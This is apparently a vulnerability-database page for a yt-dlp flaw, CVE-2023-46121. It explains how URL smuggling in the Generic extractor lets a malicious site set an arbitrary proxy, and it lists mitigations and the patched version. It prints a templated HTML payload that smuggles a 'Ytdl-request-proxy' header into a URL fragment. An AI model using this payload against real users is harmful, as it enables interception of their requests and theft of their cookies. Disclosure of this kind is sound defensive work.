CVE-2023-46121Medium· 5.0▾ Sunlityt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.3%
0.3% → 0.3%
Last analysed / modified upstream
The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
<details>To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.
Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.
Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.
However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.
This could allow for the following, but not limited too:
An example malicious webpage:
<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.
http_headers to the Generic extractor, as well as other extractors that use the same pattern.--ies default,-generic), or only pass trusted sites with trusted content.--no-check-certificate.yt-dlp >= 2022.10.04, < 2023.11.14Upgrade to a patched release:
yt-dlp 2023.11.14Connected by shared product, vendor, weakness, or advisory.
CVE-2026-26331High· 8.8yt-dlp: Arbitrary Command Injection when using the `--netrc-cmd` option
CVE-2023-35934Medium· 6.1yt-dlp File Downloader cookie leak
CVE-2024-22423High· 8.3yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)
CVE-2024-38519High· 7.8yt-dlp File system modification and RCE through improper file-extension sanitization
CVE-2023-40581High· 8.3yt-dlp on Windows vulnerable to `--exec` command injection when using `%q`
CVE-2026-55404High· 7.5yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output